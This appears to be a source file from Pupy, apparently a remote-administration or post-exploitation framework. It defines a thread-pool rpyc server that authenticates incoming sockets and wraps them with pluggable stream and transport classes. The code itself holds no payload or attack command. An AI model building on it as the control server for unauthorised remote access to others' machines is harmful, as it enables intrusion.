# -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from rpyc.utils.server import ThreadPoolServer
from rpyc.core import Channel, Connection
from rpyc.utils.authenticators import AuthenticationError

class PupyTCPServer(ThreadPoolServer):
	def __init__(self, *args, **kwargs):
		if not "stream" in kwargs:
			raise ValueError("missing stream_class argument")
		if not "transport" in kwargs:
			raise ValueError("missing transport argument")
		self.stream_class=kwargs["stream"]
		self.transport_class=kwargs["transport"]
		self.transport_kwargs=kwargs["transport_kwargs"]
		del kwargs["stream"]
		del kwargs["transport"]
		del kwargs["transport_kwargs"]

		ThreadPoolServer.__init__(self, *args, **kwargs)

	def _authenticate_and_build_connection(self, sock):
		'''Authenticate a client and if it succeeds, wraps the socket in a connection object.
		Note that this code is cut and paste from the rpyc internals and may have to be
		changed if rpyc evolves'''
		# authenticate
		if self.authenticator:
			addrinfo = sock.getpeername()
			h=addrinfo[0]
			p=addrinfo[1]
			try:
				sock, credentials = self.authenticator(sock)
			except AuthenticationError:
				self.logger.info("%s:%s failed to authenticate, rejecting connection", h, p)
				return None
		else:
			credentials = None
		# build a connection
		addrinfo = sock.getpeername()
		h=addrinfo[0]
		p=addrinfo[1]
		config = dict(self.protocol_config, credentials=credentials, connid="%s:%d"%(h, p))
		return Connection(self.service, Channel(self.stream_class(sock, self.transport_class, self.transport_kwargs)), config=config)